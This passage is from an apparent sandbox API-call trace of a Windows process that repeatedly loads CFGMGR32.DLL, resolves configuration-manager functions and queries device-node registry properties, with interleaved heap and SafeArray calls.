pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0248.696] malloc (_Size=0x124) returned 0x20abc2a8d90 [0248.697] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a8d90, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a8d90, pulLength=0x2dc22fd3f8) returned 0x0 [0248.698] free (_Block=0x20abc2a8d90) [0248.698] malloc (_Size=0x48) returned 0x20abc27cb20 [0248.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x5000f26c, dwHighDateTime=0x1d9eb0c)) [0248.698] SetEvent (hEvent=0x248) returned 1 [0248.702] malloc (_Size=0x18) returned 0x20abc281f80 [0248.702] SafeArrayPutElement (psa=0x20abbaf1ae0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0248.702] free (_Block=0x20abc281f80) [0248.702] malloc (_Size=0x18) returned 0x20abc281c20 [0248.702] SafeArrayPutElement (psa=0x20abbaf1ae0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0248.702] free (_Block=0x20abc281c20) [0248.702] malloc (_Size=0x18) returned 0x20abc2820e0 [0248.702] SafeArrayPutElement (psa=0x20abbaf1ae0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0248.702] free (_Block=0x20abc2820e0) [0248.702] malloc (_Size=0x18) returned 0x20abc281b20 [0248.702] SafeArrayPutElement (psa=0x20abbaf1ae0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0248.702] free (_Block=0x20abc281b20) [0248.703] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d6f0 [0248.703] SafeArrayGetDim (psa=0x20abbaf1ae0) returned 0x1 [0248.703] SafeArrayGetLBound (in: psa=0x20abbaf1ae0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0248.703] SafeArrayGetUBound (in: psa=0x20abbaf1ae0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0248.703] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79550 [0248.703] SafeArrayGetDim (psa=0x20abbaf1ae0) returned 0x1 [0248.703] SafeArrayGetUBound (in: psa=0x20abbaf1ae0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0248.703] SafeArrayGetElemsize (psa=0x20abbaf1ae0) returned 0x8 [0248.703] SafeArrayGetElement (in: psa=0x20abbaf1ae0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0248.704] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79670, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0248.704] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79678, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0248.704] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79680, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0248.704] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79688, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0248.705] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79550) returned 1 [0248.705] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d6f0) returned 1 [0248.706] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.706] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.710] malloc (_Size=0x18) returned 0x20abc282060 [0248.710] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0248.710] malloc (_Size=0x10e) returned 0x20abc2a8d90 [0248.710] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a8d90, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a8d90, pulLength=0x2dc22fd3f8) returned 0x0 [0248.711] free (_Block=0x20abc2a8d90) [0248.712] malloc (_Size=0x48) returned 0x20abc2a7ec0 [0248.712] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x50035f5f, dwHighDateTime=0x1d9eb0c)) [0248.712] SetEvent (hEvent=0x248) returned 1 [0248.716] malloc (_Size=0x18) returned 0x20abc281b80 [0248.716] SafeArrayPutElement (psa=0x20abbaf1ca0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0248.716] free (_Block=0x20abc281b80) [0248.716] malloc (_Size=0x18) returned 0x20abc281c20 [0248.716] SafeArrayPutElement (psa=0x20abbaf1ca0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0248.716] free (_Block=0x20abc281c20) [0248.716] malloc (_Size=0x18) returned 0x20abc2819a0 [0248.716] SafeArrayPutElement (psa=0x20abbaf1ca0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0248.716] free (_Block=0x20abc2819a0) [0248.716] malloc (_Size=0x18) returned 0x20abc282080 [0248.716] SafeArrayPutElement (psa=0x20abbaf1ca0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0248.716] free (_Block=0x20abc282080) [0248.717] malloc (_Size=0x18) returned 0x20abc2820a0 [0248.717] SafeArrayPutElement (psa=0x20abbaf1ca0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0248.717] free (_Block=0x20abc2820a0) [0248.717] malloc (_Size=0x18) returned 0x20abc282060 [0248.717] SafeArrayPutElement (psa=0x20abbaf1ca0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0248.717] free (_Block=0x20abc282060) [0248.717] malloc (_Size=0x18) returned 0x20abc281f60 [0248.717] SafeArrayPutElement (psa=0x20abbaf1ca0, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0248.717] free (_Block=0x20abc281f60) [0248.717] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c470 [0248.717] SafeArrayGetDim (psa=0x20abbaf1ca0) returned 0x1 [0248.717] SafeArrayGetLBound (in: psa=0x20abbaf1ca0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0248.717] SafeArrayGetUBound (in: psa=0x20abbaf1ca0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0248.717] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79550 [0248.717] SafeArrayGetDim (psa=0x20abbaf1ca0) returned 0x1 [0248.717] SafeArrayGetUBound (in: psa=0x20abbaf1ca0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0248.718] SafeArrayGetElemsize (psa=0x20abbaf1ca0) returned 0x8 [0248.718] SafeArrayGetElement (in: psa=0x20abbaf1ca0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0248.718] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1ad0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0248.718] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1ad8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0248.719] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1ae0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0248.719] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1ae8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0248.719] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0248.719] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0248.719] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1b00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0248.720] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79550) returned 1 [0248.721] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c470) returned 1 [0248.722] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.722] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.726] malloc (_Size=0x18) returned 0x20abc281e40 [0248.726] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0248.732] malloc (_Size=0x48) returned 0x20abc27cb20 [0248.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x5005b24d, dwHighDateTime=0x1d9eb0c)) [0248.733] SetEvent (hEvent=0x248) returned 1 [0248.851] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.851] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.856] malloc (_Size=0x18) returned 0x20abc281b20 [0248.856] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0248.857] malloc (_Size=0x48) returned 0x20abc27cb20 [0248.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x501976f3, dwHighDateTime=0x1d9eb0c)) [0248.857] SetEvent (hEvent=0x248) returned 1 [0248.862] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.863] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.867] malloc (_Size=0x18) returned 0x20abc281ee0 [0248.867] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0248.868] malloc (_Size=0x48) returned 0x20abc27cb20 [0248.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x501976f3, dwHighDateTime=0x1d9eb0c)) [0248.869] SetEvent (hEvent=0x248) returned 1 [0248.873] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.873] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.878] malloc (_Size=0x18) returned 0x20abc281ee0 [0248.878] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0248.878] malloc (_Size=0x48) returned 0x20abc27cf80 [0248.878] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x501bd819, dwHighDateTime=0x1d9eb0c)) [0248.879] SetEvent (hEvent=0x248) returned 1 [0248.886] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.886] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.887] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.887] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.887] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.887] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.887] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.887] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.892] 